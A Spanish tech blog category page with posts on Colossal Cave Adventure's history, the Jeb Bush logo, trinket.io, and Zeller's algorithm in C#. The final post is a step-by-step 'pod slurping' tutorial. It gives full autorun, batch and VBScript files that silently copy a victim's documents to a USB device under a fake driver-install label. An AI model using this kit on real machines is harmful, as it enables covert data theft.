Entradas de la categoría ‘Desarrollo’

‘Colossal Cave Adventure’

En 1972, William Crowther y su esposa Pat estaban trabajando para la empresa tecnológica BBN de Boston. Will era conocido como un meticuloso topógrafo de cuevas, había montando un teletipo ASR 33 de la época en su sala de estar y conectaba remotamente con su ordenador del trabajo, el cual utilizaba para introducir datos de las cuevas que investigaban.

Un buen día, y con la intención de aligerar y facilitar el trabajo, su mujer Pat escribió un programa informático en lenguaje ensamblador que era capaz de leer esos datos del ordenador y trazar un mapa de la cueva en cuestión. Además, en su tiempo libre, los Crowther (ambos ávidos espeleólogos), exploraban y cartografiaban de manera altruista porciones de los sistemas de cuevas de Mammoth y Flint Ridge, en Kentucky, para la Cave Research Foundation.

William Crowther

Otra de las pasiones de este matrimonio eran los juegos de rol. Por desgracia, en 1975 se divorciaron, y William, sintiéndose un poco alejado de sus dos hijas, decidió escribir un programa con el que poder disfrutar todos juntos, algo que pudiera simular sus exploraciones en las cuevas y que, asimismo, añadiera elementos de juegos de rol y de fantasía. En ese momento (1976) nació ‘Colossal Cave Adventure‘, conocida también como ‘Advent’ o ‘Adventure’ y, en español, como ‘La aventura original‘.

‘Colossal Cave Adventure’ era una aventura conversacional y está considerado como el primer videojuego del género de aventuras de la historia. Escrito en Fortran, originalmente para un PDP-10, se basaba en los mapas originales de la esposa de Crowther sobre la Mammoth Cave y reproducía la cueva real de manera tan fiel, que los exploradores que la conocían y jugaban al juego eran capaces, casi a ciegas, de navegar fácilmente a través de todas las secciones que les eran familiares.

‘Colossal Cave Adventure’ corriendo en un PDP-11/34 y mostrado en la consola de un VT100 (clic para ampliar)

Las hijas de William disfrutaron enormemente del juego, y éste se fue transmitiendo de amigo a amigo durante en los primeros días de una red Internet en ciernes. Los listados originales contaban con, más o menos, unas 700 líneas de código y otras tantas de datos.

Pero la historia no acabó allí. en 1976, Don Woods, el considerado como coautor de ‘Adventure’, estaba trabajando en el laboratorio de inteligencia artificial de la Universidad de Stanford, en Palo Alto, California. Un día cualquiera encontró una copia del rudimentario software de Crowther en una de las computadoras de la universidad. Aquello le gustó tanto que decidió mejorarlo, pero deseaba contar con la bendición de su autor primigenio, William Crowther.

Don Woods

Se puso en contacto con Crowther de una forma muy rocambolesca, pues escribió un correo electrónico a absolutamente todas las direcciones que había entonces en Internet utilizando como dirección de e-mail crother@nombresitio, donde nombresitio era cada una de las máquinas conectadas a la Red de redes, que en aquel entonces no eran más que un puñado. El caso es que lo localizó y recibió el permiso para modificar el videojuego.

Jim Gillogly, un trabajador de RAND Corporation, pasó varias semanas portando el código de Fortran a C bajo Unix, con el consentimiento de Woods y Crowther. Posteriormente, Don realizó significativas mejores y extensiones al código fuente y, como era un gran fanático de las obras de Tolkien, introdujo elementos adicionales de fantasía, tales como elfos y un trol. Este juego apareció en 1977.

Hasta que se descubrió el código original de Willian Crowther, la versión de Don Woods había sido considerada la primera de todas. Sin embargo, un antiguo estudiante de Stadford, Bruce Baumgart (hoy día empleado en Internet Archive) y Martin Frost (gerente de sistemas en Stanford), amablemente concedieron acceso a Don Woods vía web a una antigua copia de seguridad en cinta de sus momentos de estudiante en la universidad. Woods recuperó los archivos originales del código de Crowther y los puso a disposición pública para su estudio académico.

Versión para MS-DOS, desarrollada por Microsoft y distribuida por IBM 1981

Los ficheros en cuestión los podemos descargar a través de los siguientes hipervínculos. Según Woods, los dos archivos fechados como 11 de marzo de 1977 (uno de datos y otro de código) se corresponden con la obra original de Willian Crowther de 1976. El resto nos muestran los primeros cambios que el propio Woods realizó tanto en los datos como en el código.

advdat.77-03-11
advdat.77-03-31

advf4.77-03-11
advf4.77-03-23
advf4.77-03-31

Podemos consultar un análisis completamente exhaustivo de todo el código fuente en un artículo en el sitio web Digital Humanities Quarterly.

Hasta el día de hoy, los estudiantes en la Universidad de Stanford deben reimplementar el juego como si de un examen se tratara en el primer curso de programación de computadoras.

Jeb! 2016

O eso es lo que creen los expertos en estas lides, que se están quedan más a gusto que un arbusto despotricando contra el logotipo de la campaña a la candidatura presidencial del señor Jeb Bush, el que fue gobernador de Florida y el que es hijo del expresidente George H. W. Bush y hermano del también expresidente George W. Bush.

Steven Heller, experto mundial que ha escrito docenas de libros de todo aquello relacionado con el diseño de marcas y la tipografía para infografía y carteles, se desquita tranquilamente así: «Es un pedazo de mierda, y usted puede citarme así». Y no es el único en ser tan crítico, el famoso tipógrafo Chester Jenkins también opina parecido, aunque es un poco más suave al respecto en sus formas: «El logotipo no es malo como gráfico, pero como pieza tipográfica tiene demasiados problemas«.

Logo Jeb! 2016

Bush, el tercer miembro de la dinastía política republicana que aspira a la Casa Blanca, reveló su logo (escrito en fuente Baskerville) en Twitter este pasado domingo. Desde ese momento han corrido ríos de tinta-e acerca de la fuente y los colores, y todo lo que ello conlleva y significa, y parece que no dice absolutamente nada del hombre que podría ser presidente. La conclusión final de expertos diseñadores gráficos y críticos es que el logotipo tiene unos pocos problemillas.

El primero de todos ellos parecen ser las letras, que son muy grandes si se considera que representan esencialmente el conjunto de logotipo. Además, no existen los típicos estereotipos iconográficos de la cultura norteamericana, como barras y estrella o un águila, algo que ayude a guiar el ojo lejos de los cuatro caracteres de color rojo brillante en una fuente o tipo de letra que Jenkins describe como «un peso no muy agradable» para unos tipos del siglo XX.

Para él, pues, es muy ordinario. La persona que diseñó «Jeb!» utiliza una fuente fuera de cualquier convenio o estándar gráfico razonable, y el resultado es un logotipo que podría haber sido creado por cualquier niño con un Mac.

Más allá de todo eso, no es en absoluto original. Bush ha estado utilizando alguna variación de este «Jeb!» desde 1994, cuando intentó llegar (sin éxito) a gobernador de Florida. Encontramos por ahí una cápsula del tiempo perfecta, y no es otra cosa que la siguiente fotografía que muestra a Jeb junto a su radiante padre, George H. W. Bush, luciendo una gorra de béisbol blanca estampada con «Jeb» en Benguiat, una fuente diseñada en 1978; el mismo tipo de letra utilizada en los títulos de apertura de ‘Star Trek: Generations’ (1994).

Jeb Bush y su padre en 1994

El equipo de Bush ha ganado algunos puntos por la actualización de la fuente, pero ha perdido muchos más por hacerlo tan mal. Jenkins, además, comenta que algo más de espacio entre la «J» y «e» habría creado mucho más equilibrio y, también, que el signo de exclamación está fuera de cualquier proporción con respecto al resto de las letras: «No está del todo claro si la admiración ha sido escalada una cantidad de tamaño específica, ya que sus dimensiones no casan con nada dentro del logotipo». La parte baja de las curvas de la «J» y del signo «!» casi de alinean, pero no lo suficiente. Es lo que los expertos conocen como rebasamiento (overshoot, en inglés), que es el efecto de hacer sobresalir una letra por debajo de la línea de base, o por encima de la altura de las minúsculas, con el fin de compensar la sensación de empequeñecimiento óptico. En este caso confunde al ojo.

Y claro, ¿ese 2016 debajo? Si bien no es la parte más ofensiva del logo, podría haberse situado un poco más arriba y la derecha. Además, dice el tipógrafo Tobias Frere-Jones que el año «se encuentra en un tipo sans [paloseco] que es demasiado mecánico para armonizar con la forma de las letras principales y demasiado débil para crear un contraste deliberado«.

A fin de cuentas, el logotipo es más adecuado para el alfiler de una corbata presidencial perfectamente anudada. Como diseñador gráfico, David Carson dice: «Es lo que me habría esperado del personaje Jed Clampett, de la serie de los sesenta ‘Los nuevos ricos’, si hubiera optado por la alcaldía al ayuntamiento de Beverly Hills. Este logotipo no indica nada nuevo, emocionante o progresiva; no es ni serio, ni demasiado educado«.

El reconocido tipógrafo Jonathan Hoefler está igualmente impresionado: «No tiene ninguno de los toques profesional del logo de Hillary, aunque no puedo evitar preguntarme si es un intento deliberado de hacer que ella parezca menos accesible». Todo ello envuelto en el alboroto que también rodea a la enseña de Hillary Clinton para las presidenciales de 2016. Asimismo, Mike Murphy, estratega político que ha trabajado con la familia Bush en el pasado, ha llegado en defensa del logotipo: «funciona bien, es limpio, fácil de ver desde lejos, optimista y, más que nada, coherente».

Y, así las cosas, embebidos en estas batallas campales por la identidad gráfica de un candidato, los estadounidenses se preguntan si realmente es esto tan importante. ¿Una tipografía puede arruinarte una campaña electoral? No lo sé.

trinket.io

Y es que trinket es la penúltima maravilla del mundo moderno: un sitio web que permite programar, compartir y ejecutar código fuente embebido en cualquier navegador y sobre cualquier dispositivo o plataforma. Y todo ello de manera instantánea y automática, sin plugins, sin software adicional y sin necesidad de registro en ningún sitio. Escribe, comparte, modifica y ejecuta.

¿Imaginas poder escribir un programita Python en tu propio teléfono móvil, ejecutarlo al momento y enviárselo a un colega para que lo depure? Pues trinket te permite eso y mucho más. Este sitio nació de la mano de Elliott Hauser, licenciado en Ciencias de Sistemas de la Información por la Universidad del Norte de Carolina (EE. UU.), que fue capaz de volcar su pasión por la enseñanza y su experiencia con software de código abierto directamente sobre esta gran idea. Aquello fue en primavera del año 2013, y hace bien poco que ha visto la luz pública.

Dale al play para ejecutar el código Python; ¡o edítalo y prueba!

Dale al play para ejecutar el código HTML; ¡o edítalo y prueba!

Dale al play para ejecutar el código de bloques; ¡o edítalo y prueba!

Dale al play para ejecutar el código musical; ¡o edítalo y prueba!

Cambio de hora

En poco más de una semana llegará el tan denostado y ultrajado cambio al horario de verano que muchos países del mundo (hay muchísimos que ni se lo plantean, ni se lo van a plantear) realizan para volver locos a sus ciudadanos y con la intención de ahorrar (¿?) un poquito en el tema energético. El cambio horario fue una medida que se implantó por primera vez durante la Primera Guerra Mundial, cuando algunos de los países implicados la adoptaron con la finalidad de ahorrar combustible. Esta situación se repitió en 1973, durante la crisis del petróleo, en la cual la mayoría de los países industrializados adoptaran la misma medida para hacer frente a la complicada situación.

No vamos a entrar en la eterna discusión de si esto tiene o no algún sentido, pues nosotros nos vamos a centrar en el tema tecnológico geek del asunto, en el fundamento friki del algoritmo que hace que nuestros ordenadores, teléfonos, televisores, relojes y demás gadgets se actualicen automáticamente.

La verdad es que, hoy día, los diversos sistemas operativos fundamentan sus cambios horarios en el manejo de bases de datos cooperativas mundiales que almacenan toda la información de las características horarias de cada país y sus circunstancias particulares. Y es que no todos somos iguales, y algunos somos muy, pero que muy, raritos. Por poner tres ejemplos simples: primero, en España manejamos un huso horario que no nos corresponde (reminiscencias franquistas desde 1942); segundo, en Brasil sólo cambian la hora en el sur del país; tercero, en Israel, hasta 2005 el horario cambiaba una vez al año. Y así podríamos seguir un buen rato.

La base de datos más utilizada para estos menesteres es la llamada TZ Database, más conocida como Zoneinfo Database, que procura registrar todos los cambios en zonas horarias, ajustes verano/invierno e, inclusive, las correcciones de segundos astronómicas desde 1970. Es el procedimiento utilizado por la mayoría de los sistemas operativos descendientes de Unix, por aquellos derivados de BSD, por los lenguajes de programación más extendidos y por la mayoría de sistemas de gestión de datos. Por otro lado, HP dispone de una base de datos propia (llamada tztab) que es similar pero incompatible. El otro gran sistema es el propietario de los entornos operativos Microsoft Windows y sus servidores horarios en Internet.

Al margen de todo ello, y olvidándonos de estas bases de datos, aquí vamos a imaginar que no existieran y que nosotros tuviéramos que calcular el día en que se debe cambiar la hora o, más concretamente, si el día en el que estamos es el del cambio de hora (que es lo que hacen los computadores). La estandarización internacional llegó hace tiempo a la conclusión de que esto se realizaría el último domingo de marzo (horario de verano) y el último domingo de octubre (horario de invierno). ¿Cómo calcular de manera informática, pues, cuáles son los últimos domingos de marzo y octubre?

La lógica de nuestras rápidas mentes de desarrollares nos puede llevar a pensar lo siguiente (caso de marzo): pregunto si hoy es marzo; si lo es, pregunto si hoy es domingo; si lo es, calculo el día de hoy más siete; si es abril, hoy es el último domingo de marzo. Por ejemplo.

Sin embargo, existe un manera más sencilla y menos farragosa de calcular esto. Se llama congruencia de Zeller y es un algoritmo ideado por Julius Christian Johannes Zeller para calcular el día de la semana de cualquier fecha del calendario. En el presente, los lenguajes de programación actuales disponen de funciones propias que realizan esta función (por cierto, basadas en este algoritmo o en otro parecido), pero nunca está de más aprender cómo podríamos ejecutar este cálculo sin recurrir a estas avanzadas técnicas.

Hay diversas interpretaciones e implementaciones de las fórmulas de Zeller para realizar este tipo de cálculos, tanto en fechas del calendario gregoriano como del calendario juliano. Asimismo, el código fuente de una aplicación puede diseñarse de diferentes maneras. Nosotros aquí vamos a rescatar un código de C# que es fácilmente exportable a otros lenguajes de programación.

El código que devuelve el día de semana que es (0=domingo, 1=lunes, 2=martes, etcétera) es el siguiente.

static int Zeller(int anno, int mes, int dia)
  {
    if (mes <= 2)
    {
      mes = mes + 10;
      anno = anno - 1;
    }
    else
    {
      mes = mes - 2;
    }
 
    int a = anno % 100;
    int b = anno / 100;
 
    int resultado =
    (
      700 +
      ((26 * mes - 2) / 10) +
      dia +
      a +
      a / 4 +
      b / 4 -
      2 * b
    ) % 7;
 
    return resultado;
  }

De tal modo que, si quisiéramos implementar una función que, tras introducir el año que deseemos, nos devuelva los días exactos en los que comienzan los horarios de verano e invierno, es decir, los últimos domingos de marzo y octubre, respectivamente, haríamos lo que sigue.

static void Main(string[] args)
  {
    Console.WriteLine("Año: ");
    int anno=int.Parse(Console.ReadLine());
 
    //el último domingo de Marzo
    int dhv = 31 - Zeller(anno, 3, 31);
 
    //el último domingo de Octubre
    int dhi=31 - Zeller(anno,10,31);
 
    Console.WriteLine(
      "El horario de verano empieza el {0}/Marzo/{1}",
      dhv,anno);
    Console.WriteLine(
      "El horario de verano termina el {0}/Octubre/{1}",
      dhi,anno);
 
    Console.ReadLine();
  }

Expliquemos un poco este último código. Lo que estamos haciendo es pasarle a la función del algoritmo de Zeller el último día de marzo y el último de octubre del año solicitado (siempre serán un 31 del 3 y un 31 del 10). La función nos devuelve con qué día de la semana se corresponde. Lo que hacemos es restar a 31 el resultado de la función algorítmica. La solución final será el último domingo de cada mes.

Y así es cómo podemos implementar la congruencia de Zeller en un algoritmo informático. La verdad es que existen múltiples formas de calcular el día de la semana de una fecha dada; la de Zeller sólo es una más. Lo importante es que el próximo domingo, día 29, a eso de las dos de la mañana, no olvidemos que nuestro reloj ha de adelantarse una horita, ni más ni menos. Este es de esos días en los que la gente dice que dormimos una hora menos y se llevan las manos a la cabeza porque el domingo se les pasa volando.

En fin, lo que está claro es que nuestros relojes y gadgets, seguramente, se adelanten todos ellos solitos para mantenernos en hora de forma automática. Ellos no acusan el cambio horario, nosotros, digan lo que digan, sí.

iPod

El mundo del hacking es apasionante y cada día nos ofrece nuevas técnicas para explotar agujeros de seguridad en los diversos sistemas informáticos. El pod slurping no es nada nuevo, pero por aquí nos encanta porque está diseñado de una manera tan ingeniosa que recuerda a los primitivos virus de macro, que únicamente se servían de las características propias del sistema operativo (y de un poquito de ingeniería social) para acceder hasta la cocina de las entretelas del aparato.

El experto estadounidense en seguridad informática Abe Usher utilizó el término pod slurping por primera vez hace, más o menos, cinco años. Con él describe cómo los reproductores de MP3, tales como el iPod, y otros dispositivos de almacenamiento masivo USB pueden ser utilizados fácilmente para robar información confidencial corporativa en una empresa. Y todo ello de manera muy simple: conectándolo al ordenador víctima y dejándolo actuar, de manera sutil y disimulada.

Para demostrar esta vulnerabilidad en la seguridad de cualquier empresa, Usher desarrolló una prueba de concepto con la ayuda de una aplicación software que podía buscar, automáticamente, información crítica en las redes corporativas para luego copiarla dentro de un iPod de Apple. Esta aplicación corría directamente desde cualquier iPod y, al ser conectada a una computadora, podía copiar grandes volúmenes de información en cuestión de minutos.

Aquí vamos a utilizar nuestro propio software a modo de tutorial.

No hay que mirar muy lejos hacia atrás para encontrar uno de los primeros episodios de robo con este tipo de dispositivos. En febrero del año 2002, sale a la luz una historia relacionada con un iPod que se utiliza con fines ilegales. En este informe se explica que un consultor informático, llamado Kevin Webb, estaba de compras en una de las tiendas que la cadena CompUSA tiene a lo largo y ancho de EE. UU. Deambulaba por la sección de informática, cuando observó a un joven muchacho caminar hacia donde se encontraba él. El chico se acercó hasta la pantalla de un ordenador Macintosh y, en ese momento, sacó un iPod de su bolsillo, conectando su reproductor a la máquina.

Webb, intrigado por los movimientos del adolescente, se acercó por detrás de él para investigar su actividad. Para su sorpresa, el joven estaba copiándose el nuevo Office de Microsoft para uno de los primeros Mac OS X que, en aquel momento, se vendía por aproximadamente 500 dólares americanos. Se quedó observando un poco más y fue capaz de ver a este chico recopilar algunas otras aplicaciones de software más.

Asombrado por lo que acababa de presenciar, inmediatamente se acercó a un empleado para informar de lo que acababa de ocurrir, pero simplemente recibió una expresión de despiste e ignorancia por respuesta.

Desde aquel incidente se han podido recopilar muchos casos más de robo de información con el solo hecho de conectar un dispositivo USB a un ordenador, de manera subrepticia y sin que prácticamente nadie se dé cuenta. Hasta que, como hemos ya comentado, surgió la locución pod slurping, aludiendo al iPod por ser el primer dispositivo del que se tiene constancia que ha sido utilizado para esta técnica de intrusión y, también, al término anglosajón ‘slurp’ (‘sorber’ o ‘sorbo’).

Vamos ahora a la sección práctica, a ver cómo podemos explotar esta vulnerabilidad. Lo haremos sobre sistemas Windows, pues con otros que necesitan del montaje de las unidades de disco al conectarlas, podría ser un proceso algo más complicado, aunque nunca imposible. El famoso programita de Abe Usher no era otra cosa que una secuencia de comandos en Python que contenía los argumentos y atributos necesarios para llevar a cabo esta técnica en un ordenador con sistema operativo Windows.

La mayoría de los sistemas Windows tienen varias utilidades de línea de comandos integradas que podrían realizar muy fácilmente las tareas de «absorción» de información. El comando xcopy, por ejemplo, es uno de ellos y se puede encontrar hasta Windows Vista. Esta utilidad incluye cierta sintaxis muy básica y puede ofrecernos unas amplias posibilidades de éxito, algo que vamos a demostrar a continuación.

Para nuestro ejemplo necesitamos un equipo con Windows XP o Vista (cualquier versión) y, para ser fieles al origen del término pod slurping, un iPod de Apple (podemos utilizar cualquier otro medio extraíble USB). Las siguientes instrucciones describen cómo hacer uso del comando xcopy y las características de Windows para construir un dispositivo de slurping muy fácilmente.

Paso 1. Abrimos un editor de texto y escribimos las líneas siguientes para, posteriormente, guardarlas en un archivo al que llamaremos autorun.inf. Este archivo en Windows es el que se encarga de lanzar determinadas acciones o aplicaciones cuando se introduce un medio externo de almacenamiento (como ejecutar una instalación al meter un cederrón, por ejemplo).

[autorun]
open=launch.bat
action=Instalar drivers de la unidad flash USB
label=Unidad flash USB
shell\open\command=start.bat

‘AutoPlay’ en Windows Vista

Este archivito especifica que, al introducir nuestro USB en un equipo, va a lanzar automáticamente el archivo de proceso por lotes llamado start.bat (que luego crearemos). Además, incluye un pequeño engaño, medio ingeniería social, medio phishing: esos textos tras los atributos action y label especifican los literales que van a aparecer en el ‘Explorador de archivos’ y, también, en el cuadro de diálogo ‘Reproducción automática’ (‘AutoPlay‘), ese que se arranca al conectar nuestro dispositivo. Es decir, si alguien nos espía por detrás, va a creer que lo que hacemos es instalar los controladores del dispositivo.

Paso 2. Abrimos otro archivo de texto, escribimos la línea siguiente y lo guardamos como start.bat, el archivo de procesamiento por lotes mencionado antes.

wscript.exe "%~d0\script.vbs" "bkup.bat"

Este fichero batch ejecuta el motor de scripts Windows Script Host enviándole como argumento un archivo de script (script.vbs) que se encuentra en la unidad introducida y un archivo de proceso por lotes (bkup.bat) que es, a la vez, argumento del anterior. Ambos archivos los creamos a continuación.

Paso 3. En otro archivo de texto más escribimos lo que sigue y lo almacenamos como script.vbs, es decir un archivo de script en lenguaje VBScript y que interpreta directamente el motor Windows Script Host.

CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False

Esta línea crea el objeto de Windows Scripting Host en memoria para ejecutar un programa que le pasamos como argumento o parámetro.

Paso 4. Un último archivo deberá contener las líneas siguientes, las que se corresponden con el último batch que es, realmente, el que realiza todo el proceso de pod slurping. Lo llamaremos bkup.bat.

@echo off
mkdir %~d0\%computername%
xcopy "C:\Documents and Settings\%username%\Mis Documentos"
%~d0\%computername% /s/c/q/r/h
xcopy C:\Users\%username%\Documentos %~d0\%computername% /s/c/q/r/h/g
@cls
@exit

Este último fichero crea un directorio en nuestro dispositivo USB con el nombre del equipo al que está conectado y, a continuación, copia (mediante el comando xcopy y varios parámetros modificadores) todos los documentos del usuario de Windows XP (primer xcopy) o Windows Vista (segundo xcopy) al directorio generado.

Paso 5. Y, por fin, copiamos estos cuatro archivos a nuestro iPod o USB preferido, al directorio raíz. Listo, ya tenemos nuestro dispositivo de pod slurping preparado. ¡Sólo queda probarlo!

‘xcopy’ equiscopiando a todo trapo

Y luego ya sólo es cuestión de echarle imaginación, ingenio y fantasía. Por ejemplo, a partir de Windows Vista, disponíamos, a través del Kit de Recursos de Windows, del nuevo comando robocopy (o copia robusta). Esta herramienta proporciona una plétora de nuevas características de copia que incluyen capacidades para el sistema de archivos NTFS, atributos extendidos, opción de reinicio y muchas otras. Además, a partir de Windows 7, robocopy también incluye características de copia multihilo (multithreading), pues antes sólo podía realizar la copia de los archivos en orden consecutivo.

Hoy día, además, con la irrupción masiva de los teléfonos inteligentes, las aplicaciones de este ataque cada vez se vuelven más elaboradas y complejas. Pero, ¿existe alguna manera de evitarlo? Un empleado puede aparentar estar escuchando música en su iPod pero, en realidad, podría estar cargando archivos maliciosos o absorbiendo gigabytes de información valiosa para la empresa.

Una posible solución para evitar el robo de información es implementar políticas de control para el almacenamiento móvil en toda la empresa. Algunos expertos sugieren acciones convencionales como el bloqueo físico o lógico de puertos (algo muy sencillo para cualquier administrador de sistemas); otros plantean acciones más drásticas, como la prohibición del uso de este tipo de dispositivos en los lugares de trabajo. Nos sirvamos de una filosofía u otra, este no es el mejor camino que podemos tomar.

La manera ideal de asegurar el control completo sobre los dispositivos de almacenamiento portátil es mediante la introducción de barreras tecnológicas, tales como soluciones de software que permitan un control total sobre las transferencias de datos hacia y desde dispositivos de almacenamiento móvil por cada usuario en la red.

Sea como fuere, y cómo solemos decir desde estas trincheras digitales, no se pueden poner puertas al campo, y la explotación de los agujeros de seguridad de los distintos sistemas operativos seguirá siendo un hecho mañana y pasado mañana. La cuestión pasa por poner a prueba nuestra capacidad tecnológica y nuestros conocimientos para conseguir retos intelectuales cada vez más complejos e inasequibles. Ese es el desafío, porque robar información es un delito.